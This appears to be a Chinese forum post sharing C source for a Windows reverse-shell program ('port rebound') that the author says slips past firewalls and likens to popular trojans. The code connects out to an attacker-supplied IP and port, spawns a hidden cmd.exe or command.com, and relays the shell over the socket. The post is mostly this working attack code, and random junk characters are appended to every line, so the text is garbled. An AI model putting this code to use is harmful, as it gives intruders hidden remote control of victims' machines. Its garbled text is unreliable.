Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 n\H.NL)  
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/* ==============================
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Rebound port in Windows NT 0G/_"}@  
By wind,2006/7 z@J;sz  
===============================*/ lF!Iu.MM 9  
#include WhR'MkfL  
#include !u|s|6{\  
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#pragma comment(lib,"wsock32.lib") @KC;"u'C  
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void OutputShell(); pJ]i)$M  
SOCKET sClient; 3UQ~U 8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (Y]G6> Oa  
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void main(int argc,char **argv) w\ 7aAf3O  
{ )NS&1$  
WSADATA stWsaData; d<4q%y'X{  
int nRet; nD;8)VI'I  
SOCKADDR_IN stSaiClient,stSaiServer; fHwr6"DJ  
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if(argc != 3) \~'+TW  
{ P[C03a!lXg  
printf("Useage:\n\rRebound DestIP DestPort\n"); D[}qhDlX  
return; VcR(9~  
} kc70HrG  
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WSAStartup(MAKEWORD(2,2),&stWsaData); z[ ml;?  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p*]nCUs}n  
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stSaiClient.sin_family = AF_INET; 4vRIJ}nQ  
stSaiClient.sin_port = htons(0); #:3~I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ie8jBf -  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Kzgnhgc  
{ Smlf9h&  
printf("Bind Socket Failed!\n"); %QrpFE5V5  
return; au 5qbP  
} 9q!./)  
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stSaiServer.sin_family = AF_INET; ]pP [0S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9~$'?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gfn?1Kt{  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z gDc=  
{ seo.1.Da2  
printf("Connect Error!"); Ro|%pT  
return; Rck k  
} )X-/0G=N-  
OutputShell(); :IlJQ{=W  
} 'VTLp.~G~  
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void OutputShell() 73OYHp_j  
{ (Cjw^P|Y@  
char szBuff[1024]; uKocEWB=/F  
SECURITY_ATTRIBUTES stSecurityAttributes; H '(Ky  
OSVERSIONINFO stOsversionInfo; ;nB.f.e`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Qz1 Ehz>  
STARTUPINFO stStartupInfo; CERT`W%o  
char *szShell; s
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PROCESS_INFORMATION stProcessInformation; !q_fcd^c
 
unsigned long lBytesRead; 3fWL}]{<a  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jh&WL  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KnuQ
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stSecurityAttributes.lpSecurityDescriptor = 0; KcQe1mT!+  
stSecurityAttributes.bInheritHandle = TRUE; K-b'jP\  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B> LL *  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +Tw]u`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J< U,~ra\  
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; @(mXiK  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `<:D.9vO "  
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GetVersionEx(&stOsversionInfo); I6E!$}  
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switch(stOsversionInfo.dwPlatformId) zn@yt%PCV  
{ NXw$PM|+R  
case 1: g$jZpU  
szShell = "command.com"; E}WO?xxv74  
break; $m-rn'Q  
default: h!L6NS_Q,  
szShell = "cmd.exe"; zU)Ib<$  
break; 4D-4BxN*  
} }}'0r2S  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (NBq!;_2,x  
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send(sClient,szMsg,77,0); .s!qf!{V`  
while(1) eBW=bK~[VP  
{ !w9w{dtW=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?A4t &4  
if(lBytesRead) `Mxi2Y{vp  
{ 3M[b)At V.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BcvCm+.S:  
send(sClient,szBuff,lBytesRead,0); <x|P}  
} dwc$#cMf  
else igD,|YSK`z  
{ nrpxZA  
lBytesRead=recv(sClient,szBuff,1024,0); cKKl\g@}  
if(lBytesRead<=0) break; lp;=f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D!oELZ3  
} +w]KK6  
} 9 ZD4Gv   
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return; cj!Ew}o40D  
}